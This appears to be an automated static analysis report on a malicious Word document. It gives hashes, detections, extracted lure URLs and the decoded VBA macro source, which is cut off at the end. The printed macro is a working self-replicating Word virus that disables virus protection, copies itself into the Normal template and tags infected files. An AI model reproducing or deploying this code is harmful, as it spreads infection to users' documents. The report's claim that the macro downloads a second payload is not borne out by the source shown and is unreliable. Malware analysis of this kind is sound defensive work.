Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 da8424818d5b908b…

MALICIOUS

Office (OLE)

105.0 KB Created: 2010-09-12 17:26:00 Authoring application: Microsoft Word 11.0 First seen: 2019-10-01
MD5: 1d923ff3544e20157f09d22b165ba5d3 SHA-1: f8b0d11ce33356b41197a968f8fefe9d58707089 SHA-256: da8424818d5b908b8ae3f28763111334f69067ee094e402680036f2b83620bb6
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro's code is obfuscated but appears to be designed to download and execute a secondary payload, as indicated by the ClamAV detection and the presence of numerous URLs within the document body and extracted scripts. The specific URLs extracted are likely related to the lure content, which appears to be real estate listings.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ping.be/~ping0522/visite.html In document text (OLE body)
    • http://www.forbidden-places.net/exploration-urbaine-l-ecole-veterinaire-de-bruxelles-anderlecht-In document text (OLE body)
    • http://www.aloft.be/In document text (OLE body)
    • http://www.majenta.be/site_des_veterinaires.htmIn document text (OLE body)
    • http://www.immo-particulier.be/fr/vente-loft_1227051.htmlIn document text (OLE body)
    • http://www.vlan.be/fr/immo/index/appartement-a-louer-anderlecht-1070.htmlIn document text (OLE body)
    • http://www.vlan.be/fr/immo/add_detail.do?ID=15722792&tab=SUMMARYIn document text (OLE body)
    • http://www.gsara.be/spip.php?article111In document text (OLE body)
    • http://www.irismonument.be/fr.Saint-Gilles.Avenue_Paul-Henri_Spaak.htmlIn document text (OLE body)
    • http://www.immo-lofts.eu/FR/accueil.phpIn document text (OLE body)
    • http://www.leguideduloft.be/lofts_sbs_jamar_midi.phpIn document text (OLE body)
    • http://www.bkc.be/fr/index.phpIn document text (OLE body)
    • http://www.derick.be/fr/index.phpIn document text (OLE body)
    • http://www.cafebabel.fr/article/24111/a-bruxelles-leurope-ou-lurbanisme-poubelle.htmlIn document text (OLE body)
    • http://www.vldbrussel.be/page.php/nieuws/en_francais/2005110895In document text (OLE body)
    • http://www.acbfactory.be/Files/media/events/ACBfactoryfr.pdfIn document text (OLE body)
    • http://www.klekoon.com/JOCE/joue-appel-offre-mission-auteur-projet-pour-reamenagement-batiment-sis-rue-631037.htmIn document text (OLE body)
    • http://www.rue89.com/en-pleine-culture/2010/06/03/bruxelles-veut-developper-les-industries-culturelles-sans-facher-personIn document text (OLE body)
    • http://www.immo-particulier.be/fr/vente-commerces_1093221.htmlIn document text (OLE body)
    • http://www.bemanos.com/homeIn document text (OLE body)
    • http://www.opensoon.be/blog_dev/?p=215&lang=frIn document text (OLE body)
    • http://www.telebruxelles.net/portail/content/view/4963/166/In document text (OLE body)
    • http://www.ampnet.be/fr/pages/internet/amp-groupe/historique.cfmIn document text (OLE body)
    • http://www.adeb.be/distributeurs/amp.htmIn document text (OLE body)
    • http://www.sourcews.be/sncb-holding-occupe-ring-station-campusIn document text (OLE body)
    • http://www.syntigo.com/portal/page/portal/pgr_synt_e_internet/homeIn document text (OLE body)
    • http://archivesIn document text (OLE body)
    • http://bruxellesanecdotique.skynetblogs.be/archive/2010/06/02/veterinaire.htmlIn document text (OLE body)
    • http://achat-vente-appartement.vivastreet.be/annonces-achat-vente-appartement+bruxelles-1000/ecole-des-veterinaires--renovation-site-classe-en-lofts/13302566In document text (OLE body)
    • http://www.stgillesculture.irisnet.be/event_fr.php?id=149500In document text (OLE body)
    • http://www.youtube.com/watch?v=mUA1rNWljYAIn document text (OLE body)
    • http://archives.lesoir.be/saint-gilles-un-changement-d-affectation-pour-le_t-20091022-00QH5N.html?queryand=boulevard+jamar+bruxelles&firstHit=0&by=10&when=-1&sort=datedesc&pos=6&all=108&nav=1In document text (OLE body)
    • http://archives.lesoir.be/patrimoine-la-gastronomie-sauve-la-grande-ecluse-de-la-_t-20100206-00T7G0.htmlIn document text (OLE body)
    • http://archives.lesoir.be/urbanisme-les-nombreuses-mutations-en-cours_t-20090929-00Q4AW.html?queryand=%22esplanade+de+l%27europe%22+bruxelles&firstHit=0&by=10&when=-1&sort=datedesc&pos=5&all=35&nav=1In document text (OLE body)
    • http://archives.lesoir.be/un-soutien-aux-femmes-du-quartier-cureghem_t-20051130-001VEN.html?queryand=%22place+bara%22+bruxelles&firstHit=10&by=10&when=-1&sort=datedesc&pos=11&all=217&nav=1In document text (OLE body)
    • http://archives.lesoir.be/projets-de-reamenagement-conteste-dans-le-quartier-du-m_t-19970418-Z0DL8W.htmlIn document text (OLE body)
    • http://www.sdrb.irisnet.be/FR/renurb02.asp?pageType=&commune=1070&residence=114&stradr=426172612D4465204C696A6E20414E4445524C45434854In document text (OLE body)
    • http://www.sdrb.irisnet.be/FR/news_20090218.aspIn document text (OLE body)
    • http://www.rtbf.be/info/regions/bruxelles/%C2%AB-bara-de-lijn-%C2%BB-un-vaste-projet-mixte-logementsentreprises-qui-prend-forme-a-andeIn document text (OLE body)
    • http://www.sdrb.irisnet.be/fr/ser_pub.aspIn document text (OLE body)
    • http://www.lavenir.net/article/detail.aspx?articleid=254915In document text (OLE body)
    • http://www.lalibre.be/actu/bruxelles/article/571370/acb-factory-pole-audiovisuel.htmlIn document text (OLE body)
    • http://www.bruxelles.irisnet.be/fr/region/region_de_bruxelles-capitale/ministere_de_la_region_de_bruxelles_capitale/competences_et_organisation/secretariat_general/cellule_de_coordination_des_fonds_structurels_europeens/objectif_2/projets.shtmlIn document text (OLE body)
    • http://archives.lesoir.be/un-centre-culturel-qui-interpelle-la-fondation-hassan_t-19980826-Z0FNJM.html?queryand=cureghem+%E9meutes&firstHit=0&by=10&when=-2&begYear=1989&begMonth=01&begDay=01&endYear=1998&endMonth=09&endDay=11&sort=datedesc&rub=TOUT&pos=1&aIn document text (OLE body)
    • http://archives.lesoir.be/un-centre-culturel-qui-interpelle-la-fondation-hassan_t-19980826-Z0FNJM.html?queryand=cureghem+%E9meutes&firstHit=0&by=10&when=-2&begYear=1989&begMonth=01&begDay=01&endYear=1998&endMonth=09&endDay=11&sort=datedesc&rub=TOUT&pos=1&all=68&nav=1In document text (OLE body)
    • http://trianglelesnews.tumblr.com/In document text (OLE body)
    • http://archives.lesoir.be/l-acteur-l-h%F4tel-be-manos_t-20080708-00GVYC.html?queryand=be+manos&firstHit=0&by=10&when=-1&sort=score&pos=0&all=9&nav=1In document text (OLE body)
    • http://archives.lesoir.be/un-trois-etoiles-redore-cureghem_t-19960301-Z0ARHG.htmlIn document text (OLE body)
    • http://archives.lesoir.be/dossier-special-bois-et-habitat-le-bois-triomphe-au_t-20090326-00MARF.html?queryand=%22place+bara%22+bruxelles&firstHit=0&by=10&when=-1&sort=datedesc&pos=2&all=217&nav=1In document text (OLE body)
    • http://archives.lesoir.be/nouveau-marche-le-jeudi-a-la-place-victor-horta_t-20050920-001COB.html?queryand=%22rue+bara%22+bruxelles&firstHit=0&by=10&when=-1&sort=datedesc&pos=5&all=144&nav=1In document text (OLE body)
    +3 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4269 bytes
SHA-256: 9f9447b120ed00b9c4d83724b52e00e31af308a1725ba7a253f75674d8bdeb29
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x
... (truncated)